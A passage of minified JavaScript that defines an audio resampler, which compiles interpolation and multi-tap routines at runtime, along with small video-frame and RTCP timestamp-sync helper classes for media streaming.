Resampler(s,r,c,outputBufferSize,noReturn){this.s=s;this.r=r;this.c=c|0;this.outputBufferSize=outputBufferSize;this.noReturn=!!noReturn;this.initialize();}Resampler.prototype.initialize=function(){if(this.s>0&&this.r>0&&this.c>0){if(this.s==this.r){this.f=this.bypassResampler;this.ratioWeight=1;}else{this.ratioWeight=this.s/this.r;if(this.s<this.r){this.compileLinearInterpolationFunction();this.lastWeight=1;}else{this.compileMultiTapFunction();this.tailExists=false;this.lastWeight=0;}this.initializeBuffers();}}else{throw new Error("Invalid settings specified for the resampler.");}};Resampler.prototype.compileLinearInterpolationFunction=function(){var toCompile="var bufferLength = buffer.length;\tvar outLength = this.outputBufferSize;\tif ((bufferLength % "+this.c+") == 0) {\t\tif (bufferLength > 0) {\t\t\tvar weight = this.lastWeight;\t\t\tvar firstWeight = 0;\t\t\tvar secondWeight = 0;\t\t\tvar sourceOffset = 0;\t\t\tvar outputOffset = 0;\t\t\tvar outputBuffer = this.outputBuffer;\t\t\tfor (; weight < 1; weight += "+this.ratioWeight+") {\t\t\t\tsecondWeight = weight % 1;\t\t\t\tfirstWeight = 1 - secondWeight;";for(var channel=0;channel<this.c;++channel){toCompile+="outputBuffer[outputOffset++] = (this.lastOutput["+channel+"] * firstWeight) + (buffer["+channel+"] * secondWeight);";}toCompile+="}\t\t\tweight -= 1;\t\t\tfor (bufferLength -= "+this.c+", sourceOffset = Math.floor(weight) * "+this.c+"; outputOffset < outLength && sourceOffset < bufferLength;) {\t\t\t\tsecondWeight = weight % 1;\t\t\t\tfirstWeight = 1 - secondWeight;";for(var channel=0;channel<this.c;++channel){toCompile+="outputBuffer[outputOffset++] = (buffer[sourceOffset"+(channel>0?" + "+channel:"")+"] * firstWeight) + (buffer[sourceOffset + "+(this.c+channel)+"] * secondWeight);";}toCompile+="weight += "+this.ratioWeight+";\t\t\t\tsourceOffset = Math.floor(weight) * "+this.c+";\t\t\t}";for(var channel=0;channel<this.c;++channel){toCompile+="this.lastOutput["+channel+"] = buffer[sourceOffset++];";}toCompile+="this.lastWeight = weight % 1;\t\t\treturn this.bufferSlice(outputOffset);\t\t}\t\telse {\t\t\treturn (this.noReturn) ? 0 : [];\t\t}\t}\telse {\t\tthrow(new Error(\"Buffer was of incorrect sample length.\"));\t}";this.f=Function("buffer",toCompile);};Resampler.prototype.compileMultiTapFunction=function(){var toCompile="var bufferLength = buffer.length;\tvar outLength = this.outputBufferSize;\tif ((bufferLength % "+this.c+") == 0) {\t\tif (bufferLength > 0) {\t\t\tvar weight = 0;";for(var channel=0;channel<this.c;++channel){toCompile+="var output"+channel+" = 0;";}toCompile+="var actualPosition = 0;\t\t\tvar amountToNext = 0;\t\t\tvar alreadyProcessedTail = !this.tailExists;\t\t\tthis.tailExists = false;\t\t\tvar outputBuffer = this.outputBuffer;\t\t\tvar outputOffset = 0;\t\t\tvar currentPosition = 0;\t\t\tdo {\t\t\t\tif (alreadyProcessedTail) {\t\t\t\t\tweight = "+this.ratioWeight+";";for(channel=0;channel<this.c;++channel){toCompile+="output"+channel+" = 0;";}toCompile+="}\t\t\t\telse {\t\t\t\t\tweight = this.lastWeight;";for(channel=0;channel<this.c;++channel){toCompile+="output"+channel+" = this.lastOutput["+channel+"];";}toCompile+="alreadyProcessedTail = true;\t\t\t\t}\t\t\t\twhile (weight > 0 && actualPosition < bufferLength) {\t\t\t\t\tamountToNext = 1 + actualPosition - currentPosition;\t\t\t\t\tif (weight >= amountToNext) {";for(channel=0;channel<this.c;++channel){toCompile+="output"+channel+" += buffer[actualPosition++] * amountToNext;";}toCompile+="currentPosition = actualPosition;\t\t\t\t\t\tweight -= amountToNext;\t\t\t\t\t}\t\t\t\t\telse {";for(channel=0;channel<this.c;++channel){toCompile+="output"+channel+" += buffer[actualPosition"+(channel>0?" + "+channel:"")+"] * weight;";}toCompile+="currentPosition += weight;\t\t\t\t\t\tweight = 0;\t\t\t\t\t\tbreak;\t\t\t\t\t}\t\t\t\t}\t\t\t\tif (weight <= 0) {";for(channel=0;channel<this.c;++channel){toCompile+="outputBuffer[outputOffset++] = output"+channel+" / "+this.ratioWeight+";";}toCompile+="}\t\t\t\telse {\t\t\t\t\tthis.lastWeight = weight;";for(channel=0;channel<this.c;++channel){toCompile+="this.lastOutput["+channel+"] = output"+channel+";";}toCompile+="this.tailExists = true;\t\t\t\t\tbreak;\t\t\t\t}\t\t\t} while (actualPosition < bufferLength && outputOffset < outLength);\t\t\treturn this.bufferSlice(outputOffset);\t\t}\t\telse {\t\t\treturn (this.noReturn) ? 0 : [];\t\t}\t}\telse {\t\tthrow(new Error(\"Buffer was of incorrect sample length.\"));\t}";this.f=Function("buffer",toCompile);};Resampler.prototype.bypassResampler=function(buffer){if(this.noReturn){this.outputBuffer=buffer;return buffer.length;}else{return buffer;}};Resampler.prototype.bufferSlice=function(sliceAmount){if(this.noReturn){return sliceAmount;}else{try{return this.outputBuffer.subarray(0,sliceAmount);}catch(error){try{this.outputBuffer.length=sliceAmount;return this.outputBuffer;}catch(error){return this.outputBuffer.slice(0,sliceAmount);}}}};Resampler.prototype.initializeBuffers=function(){try{this.outputBuffer=new Float32Array(this.outputBufferSize);this.lastOutput=new Float32Array(this.c);}catch(error){this.outputBuffer=[];this.lastOutput=[];}};function VideoFrame(payload,ts,kframe,complete){this.payload=[];this.payload.push(payload);this.ts=ts;this.kframe=kframe;this.complete=complete;}VideoFrame.prototype.addPayload=function(payload,complete){this.payload.push(payload);this.complete=complete;};VideoFrame.prototype.isComplete=function(){return this.complete;};VideoFrame.prototype.getTs=function(){return this.ts;};VideoFrame.prototype.isKFrame=function(){return this.kframe;};function RtcpPair(time,ts,sampleRate){this.time=time;this.ts=ts;this.sampleRate=sampleRate;}RtcpPair.prototype.update=function(time,ts){var oldSync=this.getTime(ts);this.time=time;this.ts=ts;if(this.time==0||oldSync==0){return 0;}return oldSync-time;};RtcpPair.prototype.getTime=function(ts){if(this.time==0&&this.ts==0){return 0;}return(ts-this.ts)*1000/this.sampleRate+this.time;};

ZeroDay Forums Mini